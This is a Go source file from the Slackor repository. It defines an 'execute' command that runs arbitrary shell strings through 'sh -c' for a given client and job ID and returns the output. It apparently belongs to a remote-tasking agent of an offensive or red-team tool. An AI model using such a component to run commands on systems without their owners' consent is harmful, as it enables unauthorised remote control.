github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/linux/execute.go (about)

     1  // +build linux
     2  
     3  package linux
     4  
     5  import (
     6  	"bytes"
     7  	"fmt"
     8  	"os/exec"
     9  	"strings"
    10  
    11  	"github.com/n00py/Slackor/pkg/command"
    12  )
    13  
    14  var cmdName = "sh"
    15  
    16  // Execute runs an arbitrary command
    17  type Execute struct{}
    18  
    19  // Name is the name of the command
    20  func (e Execute) Name() string {
    21  	return "execute"
    22  }
    23  
    24  // Run runs an arbitrary command
    25  func (e Execute) Run(clientID string, jobID string, args []string) (string, error) {
    26  	cmdArgs := []string{"-c"}
    27  	cmdArgs = append(cmdArgs, strings.Join(args, " "))
    28  	cmd := exec.Command(cmdName, cmdArgs...)
    29  	fmt.Println("Running command: " + strings.Join(args, " "))
    30  	var out bytes.Buffer
    31  	var stderr bytes.Buffer
    32  	cmd.Stdout = &out
    33  	cmd.Stderr = &stderr
    34  	err := cmd.Run()
    35  	if err != nil {
    36  		return stderr.String(), err
    37  	}
    38  	return out.String(), nil
    39  }
    40  
    41  func init() {
    42  	command.RegisterCommand(Execute{})
    43  }